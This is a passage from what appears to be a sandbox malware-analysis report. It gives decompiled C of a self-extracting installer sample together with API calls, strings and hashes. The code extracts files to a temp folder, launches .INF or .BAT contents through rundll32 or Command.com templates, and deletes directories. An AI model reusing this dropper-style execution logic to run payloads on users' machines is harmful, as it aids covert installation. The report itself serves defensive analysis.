				signed int _t48;
				CHAR* _t53;
				CHAR* _t54;
				char* _t57;
				char* _t58;
				CHAR* _t60;
				void* _t62;
				signed char _t65;
				intOrPtr _t76;
				intOrPtr _t77;
				unsigned int _t85;
				CHAR* _t90;
				CHAR* _t92;
				char _t105;
				char _t106;
				CHAR** _t111;
				CHAR* _t115;
				intOrPtr* _t125;
				void* _t126;
				CHAR* _t132;
				CHAR* _t135;
				void* _t138;
				void* _t139;
				void* _t145;
				intOrPtr* _t146;
				char* _t148;
				CHAR* _t151;
				void* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t157;
				signed int _t158;

				_t48 =  *0xf88004; // 0x644c7055
				_v8 = _t48 ^ _t158;
				_t108 = __ecx;
				_v1564 = _a4;
				_v1560 = _a8;
				E00F81680( &_v528, 0x104, __ecx);
				if(_v528 != 0x22) {
					_t135 = " ";
					_t53 =  &_v528;
				} else {
					_t135 = "\"";
					_t53 =  &_v527;
				}
				_t111 =  &_v1556;
				_v1556 = _t53;
				_t54 = E00F81A84(_t111, _t135);
				_t156 = _v1556;
				_t151 = _t54;
				if(_t156 == 0) {
					L12:
					_push(_t111);
					E00F81781( &_v268, 0x104, _t111, "C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\");
					E00F8658A( &_v268, 0x104, _t156);
					goto L13;
				} else {
					_t132 = _t156;
					_t148 =  &(_t132[1]);
					do {
						_t105 =  *_t132;
						_t132 =  &(_t132[1]);
					} while (_t105 != 0);
					_t111 = _t132 - _t148;
					if(_t111 < 3) {
						goto L12;
					}
					_t106 = _t156[1];
					if(_t106 != 0x3a || _t156[2] != 0x5c) {
						if( *_t156 != 0x5c || _t106 != 0x5c) {
							goto L12;
						} else {
							goto L11;
						}
					} else {
						L11:
						E00F81680( &_v268, 0x104, _t156);
						L13:
						_t138 = 0x2e;
						_t57 = E00F866C8(_t156, _t138);
						if(_t57 == 0 || CompareStringA(0x7f, 1, _t57, 0xffffffff, ".INF", 0xffffffff) != 0) {
							_t139 = 0x2e;
							_t115 = _t156;
							_t58 = E00F866C8(_t115, _t139);
							if(_t58 == 0 || CompareStringA(0x7f, 1, _t58, 0xffffffff, ".BAT", 0xffffffff) != 0) {
								_t156 = LocalAlloc(0x40, 0x400);
								if(_t156 == 0) {
									goto L43;
								}
								_t65 = GetFileAttributesA( &_v268); // executed
								if(_t65 == 0xffffffff || (_t65 & 0x00000010) != 0) {
									E00F81680( &_v1552, 0x400, _t108);
								} else {
									_push(_t115);
									_t108 = 0x400;
									E00F81781( &_v1552, 0x400, _t115,  &_v268);
									if(_t151 != 0 &&  *_t151 != 0) {
										E00F816B3( &_v1552, 0x400, " ");
										E00F816B3( &_v1552, 0x400, _t151);
									}
								}
								_t140 = _t156;
								 *_t156 = 0;
								E00F82AAC( &_v1552, _t156, _t156);
								goto L53;
							} else {
								_t108 = "Command.com /c %s";
								_t125 = "Command.com /c %s";
								_t145 = _t125 + 1;
								do {
									_t76 =  *_t125;
									_t125 = _t125 + 1;
								} while (_t76 != 0);
								_t126 = _t125 - _t145;
								_t146 =  &_v268;
								_t157 = _t146 + 1;
								do {
									_t77 =  *_t146;
									_t146 = _t146 + 1;
								} while (_t77 != 0);
								_t140 = _t146 - _t157;
								_t154 = _t126 + 8 + _t146 - _t157;
								_t156 = LocalAlloc(0x40, _t126 + 8 + _t146 - _t157);
								if(_t156 != 0) {
									E00F8171E(_t156, _t154, "Command.com /c %s",  &_v268);
									goto L53;
								}
								goto L43;
							}
						} else {
							_t85 = GetFileAttributesA( &_v268);
							if(_t85 == 0xffffffff || ( !(_t85 >> 4) & 0x00000001) == 0) {
								_t140 = 0x525;
								_push(0);
								_push(0x10);
								_push(0);
								_t60 =  &_v268;
								goto L35;
							} else {
								_t140 = "[";
								_v1556 = _t151;
								_t90 = E00F81A84( &_v1556, "[");
								if(_t90 != 0) {
									if( *_t90 != 0) {
										_v1556 = _t90;
									}
									_t140 = "]";
									E00F81A84( &_v1556, "]");
								}
								_t156 = LocalAlloc(0x40, 0x200);
								if(_t156 == 0) {
									L43:
									_t60 = 0;
									_t140 = 0x4b5;
									_push(0);
									_push(0x10);
									_push(0);
									L35:
									_push(_t60);
									E00F844B9(0, _t140);
									_t62 = 0;
									goto L54;
								} else {
									_t155 = _v1556;
									_t92 = _t155;
									if( *_t155 == 0) {
										_t92 = "DefaultInstall";
									}
									 *0xf89120 = GetPrivateProfileIntA(_t92, "Reboot", 0,  &_v268);
									 *_v1560 = 1;
									if(GetPrivateProfileStringA("Version", "AdvancedINF", 0xf81140, _t156, 8,  &_v268) == 0) {
										 *0xf89a34 =  *0xf89a34 & 0xfffffffb;
										if( *0xf89a40 != 0) {
											_t108 = "setupapi.dll";
										} else {
											_t108 = "setupx.dll";
											GetShortPathNameA( &_v268,  &_v268, 0x104);
										}
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										_push( &_v268);
										_push(_t155);
										E00F8171E(_t156, 0x200, "rundll32.exe %s,InstallHinfSection %s 128 %s", _t108);
									} else {
										 *0xf89a34 =  *0xf89a34 | 0x00000004;
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										E00F81680(_t108, 0x104, _t155);
										_t140 = 0x200;
										E00F81680(_t156, 0x200,  &_v268);
									}
									L53:
									_t62 = 1;
									 *_v1564 = _t156;
									L54:
									_pop(_t152);
									return E00F86CE0(_t62, _t108, _v8 ^ _t158, _t140, _t152, _t156);
								}
							}
						}
					}
				}
			}

0x00f81af3
0x00f81afa
0x00f81b07
0x00f81b09
0x00f81b1a
0x00f81b20
0x00f81b2c
0x00f81b3b
0x00f81b40
0x00f81b2e
0x00f81b2e
0x00f81b33
0x00f81b33
0x00f81b46
0x00f81b4c
0x00f81b52
0x00f81b57
0x00f81b5d
0x00f81b61
0x00f81b9f
0x00f81b9f
0x00f81bb1
0x00f81bc2
0x00000000
0x00f81b63
0x00f81b63
0x00f81b65
0x00f81b68
0x00f81b68
0x00f81b6a
0x00f81b6b
0x00f81b6f
0x00f81b74
0x00000000
0x00000000
0x00f81b76
0x00f81b7b
0x00f81b86
0x00000000
0x00000000
0x00000000
0x00000000
0x00f81b8c
0x00f81b8c
0x00f81b98
0x00f81bc7
0x00f81bc9
0x00f81bcc
0x00f81bd3
0x00f81d75
0x00f81d76
0x00f81d78
0x00f81d7f
0x00f81e05
0x00f81e09
0x00000000
0x00000000
0x00f81e12
0x00f81e1b
0x00f81e73
0x00f81e21
0x00f81e21
0x00f81e28
0x00f81e37
0x00f81e3e
0x00f81e52
0x00f81e60
0x00f81e60
0x00f81e3e
0x00f81e79
0x00f81e7b
0x00f81e84
0x00000000
0x00f81d9b
0x00f81d9b
0x00f81da0
0x00f81da2
0x00f81da5
0x00f81da5
0x00f81da7
0x00f81da8
0x00f81dac
0x00f81dae
0x00f81db4
0x00f81db7
0x00f81db7
0x00f81db9
0x00f81dba
0x00f81dbe
0x00f81dc3
0x00f81dce
0x00f81dd2
0x00f81deb
0x00000000
0x00f81df0
0x00000000
0x00f81dd2
0x00f81bf7
0x00f81bfe
0x00f81c07
0x00f81d55
0x00f81d5a
0x00f81d5b
0x00f81d5d
0x00f81d5e
0x00000000
0x00f81c1b
0x00f81c1b
0x00f81c20
0x00f81c2c
0x00f81c33
0x00f81c38
0x00f81c3a
0x00f81c3a
0x00f81c40
0x00f81c4b
0x00f81c4b
0x00f81c5d
0x00f81c61
0x00f81dd4
0x00f81dd4
0x00f81dd6
0x00f81ddb
0x00f81ddc
0x00f81dde
0x00f81d64
0x00f81d64
0x00f81d67
0x00f81d6c
0x00000000
0x00f81c67
0x00f81c67
0x00f81c6d
0x00f81c72
0x00f81c74
0x00f81c74
0x00f81c8e
0x00f81c99
0x00f81cc0
0x00f81cf8
0x00f81d07
0x00f81d23
0x00f81d09
0x00f81d14
0x00f81d1b
0x00f81d1b
0x00f81d2b
0x00f81d2d
0x00f81d2d
0x00f81d38
0x00f81d39
0x00f81d46
0x00f81cc2
0x00f81cc2
0x00f81ccc
0x00f81cce
0x00f81cce
0x00f81cdb
0x00f81ce6
0x00f81cee
0x00f81cee
0x00f81e89
0x00f81e91
0x00f81e92
0x00f81e94
0x00f81e97
0x00f81ea4
0x00f81ea4
0x00f81c61
0x00f81c07
0x00f81bd3
0x00f81b7b

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00F81BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00F81BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00F81C57
GetPrivateProfileIntA.KERNEL32 ref: 00F81C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,00F81140,00000000,00000008,?), ref: 00F81CB8
GetShortPathNameA.KERNEL32 ref: 00F81D1B

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F84554

Strings

rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00F81D3B
Reboot, xrefs: 00F81C82
", xrefs: 00F81B25
setupapi.dll, xrefs: 00F81D23, 00F81D3A
.BAT, xrefs: 00F81D83
AdvancedINF, xrefs: 00F81CAE
.INF, xrefs: 00F81BDB
setupx.dll, xrefs: 00F81D14
Command.com /c %s, xrefs: 00F81D9B, 00F81DE8
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F81BA0
Version, xrefs: 00F81CB3
DefaultInstall, xrefs: 00F81C74, 00F81C87, 00F81CCE, 00F81CD3, 00F81D2D, 00F81D39

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-2145762761
Opcode ID: b4df5650c66f4f732930e2488c914acf66414070d98e684b096a5600e56da6d3
Instruction ID: 66f4a994bea8bdc0173ff2bc56a85e3c9b5e05fac5a9d721caae0b54b5a0c35c
Opcode Fuzzy Hash: b4df5650c66f4f732930e2488c914acf66414070d98e684b096a5600e56da6d3
Instruction Fuzzy Hash: EAA13871E002185BEB20BB24CC49BFA776DFB81320F144795E555A32D1EBB49E87EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F82F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00F82F1D(void* __ecx, int __edx) {
				signed int _v8;
				char _v272;
				_Unknown_base(*)()* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t9;
				void* _t11;
				struct HWND__* _t12;
				void* _t14;
				int _t21;
				signed int _t22;
				signed int _t25;
				intOrPtr* _t26;
				signed int _t27;
				void* _t30;
				_Unknown_base(*)()* _t31;
				void* _t34;
				struct HINSTANCE__* _t36;
				intOrPtr _t41;
				intOrPtr* _t44;
				signed int _t46;
				int _t47;
				void* _t58;
				void* _t59;

				_t43 = __edx;
				_t9 =  *0xf88004; // 0x644c7055
				_v8 = _t9 ^ _t46;
				if( *0xf88a38 != 0) {
					L5:
					_t11 = E00F85164(_t52);
					_t53 = _t11;
					if(_t11 == 0) {
						L16:
						_t12 = 0;
						L17:
						return E00F86CE0(_t12, _t36, _v8 ^ _t46, _t43, _t44, _t45);
					}
					_t14 = E00F855A0(_t53); // executed
					if(_t14 == 0) {
						goto L16;
					} else {
						_t45 = 0x105;
						GetSystemDirectoryA( &_v272, 0x105);
						_t43 = 0x105;
						_t40 =  &_v272;
						E00F8658A( &_v272, 0x105, "advapi32.dll");
						_t36 = LoadLibraryA( &_v272);
						_t44 = 0;
						if(_t36 != 0) {
							_t31 = GetProcAddress(_t36, "DecryptFileA");
							_v276 = _t31;
							if(_t31 != 0) {
								_t45 = _t47;
								_t40 = _t31;
								 *0xf8a288("C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\", 0); // executed
								_v276();
								if(_t47 != _t47) {
									_t40 = 4;
									asm("int 0x29");
								}
							}
						}
						FreeLibrary(_t36);
						_t58 =  *0xf88a24 - _t44; // 0x0
						if(_t58 != 0) {
							L14:
							_t21 = SetCurrentDirectoryA("C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\"); // executed
							if(_t21 != 0) {
								__eflags =  *0xf88a2c - _t44; // 0x0
								if(__eflags != 0) {
									L20:
									__eflags =  *0xf88d48 & 0x000000c0;
									if(( *0xf88d48 & 0x000000c0) == 0) {
										_t41 =  *0xf89a40; // 0x3, executed
										_t26 = E00F8256D(_t41); // executed
										_t44 = _t26;
									}
									_t22 =  *0xf88a24; // 0x0
									 *0xf89a44 = _t44;
									__eflags = _t22;
									if(_t22 != 0) {
										L26:
										__eflags =  *0xf88a38;
										if( *0xf88a38 == 0) {
											__eflags = _t22;
											if(__eflags == 0) {
												E00F84169(__eflags);
											}
										}
										_t12 = 1;
										goto L17;
									} else {
										__eflags =  *0xf89a30 - _t22; // 0x0
										if(__eflags != 0) {
											goto L26;
										}
										_t25 = E00F83BA2(); // executed
										__eflags = _t25;
										if(_t25 == 0) {
											goto L16;
										}
										_t22 =  *0xf88a24; // 0x0
										goto L26;
									}
								}
								_t27 = E00F83B26(_t40, _t44);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L16;
								}
								goto L20;
							}
							_t43 = 0x4bc;
							E00F844B9(0, 0x4bc, _t44, _t44, 0x10, _t44);
							 *0xf89124 = E00F86285();
							goto L16;
						}
						_t59 =  *0xf89a30 - _t44; // 0x0
						if(_t59 != 0) {
							goto L14;
						}
						_t30 = E00F8621E(); // executed
						if(_t30 == 0) {
							goto L16;
						}
						goto L14;
					}
				}
				_t49 =  *0xf88a24;
				if( *0xf88a24 != 0) {
					L4:
					_t34 = E00F83A3F(_t51);
					_t52 = _t34;
					if(_t34 == 0) {
						goto L16;
					}
					goto L5;
				}
				if(E00F851E5(_t49) == 0) {
					goto L16;
				}
				_t51 =  *0xf88a38;
				if( *0xf88a38 != 0) {
					goto L5;
				}
				goto L4;
			}

0x00f82f1d
0x00f82f28
0x00f82f2f
0x00f82f3d
0x00f82f6c
0x00f82f6c
0x00f82f71
0x00f82f73
0x00f83041
0x00f83041
0x00f83043
0x00f83053
0x00f83053
0x00f82f79
0x00f82f80
0x00000000
0x00f82f86
0x00f82f86
0x00f82f93
0x00f82f9e
0x00f82fa0
0x00f82fa6
0x00f82fb8
0x00f82fba
0x00f82fbe
0x00f82fc6
0x00f82fcc
0x00f82fd4
0x00f82fd6
0x00f82fd8
0x00f82fe0
0x00f82fe6
0x00f82fee
0x00f82ff0
0x00f82ff5
0x00f82ff5
0x00f82fee
0x00f82fd4
0x00f82ff8
0x00f82ffe
0x00f83004
0x00f83017
0x00f8301c
0x00f83024
0x00f83054
0x00f8305a
0x00f83065
0x00f83065
0x00f8306c
0x00f8306e
0x00f83075
0x00f8307a
0x00f8307a
0x00f8307c
0x00f83081
0x00f83087
0x00f83089
0x00f830a1
0x00f830a1
0x00f830a9
0x00f830ab
0x00f830ad
0x00f830af
0x00f830af
0x00f830ad
0x00f830b6
0x00000000
0x00f8308b
0x00f8308b
0x00f83091
0x00000000
0x00000000
0x00f83093
0x00f83098
0x00f8309a
0x00000000
0x00000000
0x00f8309c
0x00000000
0x00f8309c
0x00f83089
0x00f8305c
0x00f83061
0x00f83063
0x00000000
0x00000000
0x00000000
0x00f83063
0x00f8302b
0x00f83032
0x00f8303c
0x00000000
0x00f8303c
0x00f83006
0x00f8300c
0x00000000
0x00000000
0x00f8300e
0x00f83015
0x00000000
0x00000000
0x00000000
0x00f83015
0x00f82f80
0x00f82f3f
0x00f82f46
0x00f82f5f
0x00f82f5f
0x00f82f64
0x00f82f66
0x00000000
0x00000000
0x00000000
0x00f82f66
0x00f82f4f
0x00000000
0x00000000
0x00f82f55
0x00f82f5d
0x00000000
0x00000000
0x00000000

APIs

GetSystemDirectoryA.KERNEL32 ref: 00F82F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 00F82FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 00F82FC6
DecryptFileA.ADVAPI32 ref: 00F82FE6
FreeLibrary.KERNEL32(00000000), ref: 00F82FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 00F8301C

Part of subcall function 00F851E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00F82F4D,?,00000002,00000000), ref: 00F85201

Strings

DecryptFileA, xrefs: 00F82FC0
advapi32.dll, xrefs: 00F82F99
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F82FDB, 00F83017

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-4070797333
Opcode ID: bcbccdad3ed7132603c9194ae5d319402f439655927c5c6351db533c50700f03
Instruction ID: f20763a2e5a02874e9fa1203687ee84706cf32ad9a8377525767a4db6e61fc56
Opcode Fuzzy Hash: bcbccdad3ed7132603c9194ae5d319402f439655927c5c6351db533c50700f03
Instruction Fuzzy Hash: 0341AB31E006095BDB34BB719C496FA33A8EB44F69F040566E941C21A1EF7CDE81FB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F82390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00F82390(CHAR* __ecx) {
				signed int _v8;
				char _v276;
				char _v280;
				char _v284;
				struct _WIN32_FIND_DATAA _v596;
				struct _WIN32_FIND_DATAA _v604;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				int _t36;
				void* _t46;
				void* _t62;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				signed int _t67;
				signed int _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x254;
				_t21 =  *0xf88004; // 0x644c7055
				_t22 = _t21 ^ _t69;
				_v8 = _t21 ^ _t69;
				_t65 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx)) == 0) {
					L10:
					_pop(_t62);
					_pop(_t66);
					_pop(_t46);
					return E00F86CE0(_t22, _t46, _v8 ^ _t69, _t58, _t62, _t66);
				} else {
					E00F81680( &_v276, 0x104, __ecx);
					_t58 = 0x104;
					E00F816B3( &_v280, 0x104, "*");
					_t22 = FindFirstFileA( &_v284,  &_v604); // executed
					_t63 = _t22;
					if(_t63 == 0xffffffff) {
						goto L10;
					} else {
						goto L3;
					}
					do {
						L3:
						_t58 = 0x104;
						E00F81680( &_v276, 0x104, _t65);
						if((_v604.ftCreationTime & 0x00000010) == 0) {
							_t58 = 0x104;
							E00F816B3( &_v276, 0x104,  &(_v596.dwReserved1));
							SetFileAttributesA( &_v280, 0x80);
							DeleteFileA( &_v280);
						} else {
							if(lstrcmpA( &(_v596.dwReserved1), ".") != 0 && lstrcmpA( &(_v596.cFileName), "..") != 0) {
								E00F816B3( &_v276, 0x104,  &(_v596.cFileName));
								_t58 = 0x104;
								E00F8658A( &_v280, 0x104, 0xf81140);
								E00F82390( &_v284);
							}
						}
						_t36 = FindNextFileA(_t63,  &_v596); // executed
					} while (_t36 != 0);
					FindClose(_t63); // executed
					_t22 = RemoveDirectoryA(_t65); // executed
					goto L10;
				}
			}

0x00f82398
0x00f8239e
0x00f823a3
0x00f823a5
0x00f823ae
0x00f823b3
0x00f824cb
0x00f824d2
0x00f824d3
0x00f824d4
0x00f824df
0x00f823c2
0x00f823d1
0x00f823db
0x00f823e4
0x00f823f6
0x00f823fc
0x00f82401
0x00000000
0x00000000
0x00000000
0x00000000
0x00f82407
0x00f82407
0x00f82408
0x00f82411
0x00f8241f
0x00f8247a
0x00f82483
0x00f82495
0x00f824a3
0x00f82421
0x00f8242f
0x00f82453
0x00f8245d
0x00f82466
0x00f82472
0x00f82472
0x00f8242f
0x00f824af
0x00f824b5
0x00f824be
0x00f824c5
0x00000000
0x00f824c5

APIs

FindFirstFileA.KERNELBASE(?,00F88A3A,00F811F4,00F88A3A,00000000,?,?), ref: 00F823F6
lstrcmpA.KERNEL32(?,00F811F8), ref: 00F82427
lstrcmpA.KERNEL32(?,00F811FC), ref: 00F8243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 00F82495
DeleteFileA.KERNEL32(?), ref: 00F824A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 00F824AF
FindClose.KERNELBASE(00000000), ref: 00F824BE
RemoveDirectoryA.KERNELBASE(00F88A3A), ref: 00F824C5

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: c979d330c0667f11ab6b97c9f76434d2536325f44af3740a3f5e5eec8b0b8bdb
Instruction ID: a9554f6427ecacb57b66aa92150df3aed3f9a059f18b6fa2a678f031dde96c8e
Opcode Fuzzy Hash: c979d330c0667f11ab6b97c9f76434d2536325f44af3740a3f5e5eec8b0b8bdb
Instruction Fuzzy Hash: 5C31A4326046449BD320FB64CC8DAFB73ACFBC4315F044A2EB59586191EB38A90DE762

Uniqueness

Uniqueness Score: -1.00%

Function 00F82BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00F82BFB(struct HINSTANCE__* _a4, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t4;
				void* _t6;
				intOrPtr _t7;
				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t17;
				signed char _t19;
				intOrPtr* _t21;
				void* _t22;
				void* _t24;
				intOrPtr _t32;

				_t4 = GetVersion();
				if(_t4 >= 0 && _t4 >= 6) {
					_t12 = GetModuleHandleW(L"Kernel32.dll");
					if(_t12 != 0) {
						_t21 = GetProcAddress(_t12, "HeapSetInformation");
						if(_t21 != 0) {
							_t17 = _t21;
							 *0xf8a288(0, 1, 0, 0);
							 *_t21();
							_t29 = _t24 - _t24;
							if(_t24 != _t24) {
								_t17 = 4;
								asm("int 0x29");
							}
						}
					}
				}
				_t20 = _a12;
				_t18 = _a4;
				 *0xf89124 = 0;
				if(E00F82CAA(_a4, _a12, _t29, _t17) != 0) {
					_t9 = E00F82F1D(_t18, _t20); // executed
					_t22 = _t9; // executed
					E00F852B6(0, _t18, _t21, _t22); // executed
					if(_t22 != 0) {
						_t32 =  *0xf88a3a; // 0x0
						if(_t32 == 0) {
							_t19 =  *0xf89a2c; // 0x0
							if((_t19 & 0x00000001) != 0) {
								E00F81F90(_t19, _t21, _t22);
							}
						}
					}
				}
				_t6 =  *0xf88588; // 0x0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0xf89124; // 0x0
				return _t7;
			}

0x00f82c03
0x00f82c0d
0x00f82c18
0x00f82c20
0x00f82c2e
0x00f82c32
0x00f82c36
0x00f82c3d
0x00f82c43
0x00f82c45
0x00f82c47
0x00f82c49
0x00f82c4e
0x00f82c4e
0x00f82c47
0x00f82c32
0x00f82c20
0x00f82c50
0x00f82c54
0x00f82c57
0x00f82c64
0x00f82c66
0x00f82c6b
0x00f82c6d
0x00f82c74
0x00f82c76
0x00f82c7c
0x00f82c7e
0x00f82c87
0x00f82c89
0x00f82c89
0x00f82c87
0x00f82c7c
0x00f82c74
0x00f82c8e
0x00f82c95
0x00f82c98
0x00f82c98
0x00f82c9e
0x00f82ca7

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,00F86BB0,00F80000,00000000,00000002,0000000A), ref: 00F82C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,00F86BB0,00F80000,00000000,00000002,0000000A), ref: 00F82C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00F82C28
CloseHandle.KERNEL32(00000000,?,?,00F86BB0,00F80000,00000000,00000002,0000000A), ref: 00F82C98

Strings

HeapSetInformation, xrefs: 00F82C22
Kernel32.dll, xrefs: 00F82C13

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: f107ff75c3fb92ed1015a97dd0e6639845a99575e0eff3b8fdd9f94bdbfc6152
Instruction ID: 52c38db67b8fd60d8f09db365db038afa0e25b4986ac1d98230e9f705d5bcd45
Opcode Fuzzy Hash: f107ff75c3fb92ed1015a97dd0e6639845a99575e0eff3b8fdd9f94bdbfc6152
Instruction Fuzzy Hash: BF11C271B00209ABD7607BB4AD89AFF3799EB857B0B480116F901D3290DA34EC02B761

Uniqueness

Uniqueness Score: -1.00%

Function 00F86F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F86F40() {

				SetUnhandledExceptionFilter(E00F86EF0); // executed
				return 0;
			}

0x00f86f45
0x00f86f4d

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 00F86F45

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: dae1ced55becba8e13b6ee622af3e3aa7709d32da19aaf2b61572c28105cdcd1
Instruction ID: d06b3b73c0c6c0847991cea048146f7397a18d211874e00cbc045d104fde6eee
Opcode Fuzzy Hash: dae1ced55becba8e13b6ee622af3e3aa7709d32da19aaf2b61572c28105cdcd1
Instruction Fuzzy Hash: B390027425150447A6102B70DD1D4A576919B4D602F8154A1A111C4499DB6080407B17

Uniqueness

Uniqueness Score: -1.00%

Function 00F8202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00F8202A(struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v268;
				char _v528;
				void* _v532;
				int _v536;
				int _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				long _t36;
				long _t41;
				struct HINSTANCE__* _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				CHAR* _t54;
				void _t56;
				signed int _t66;
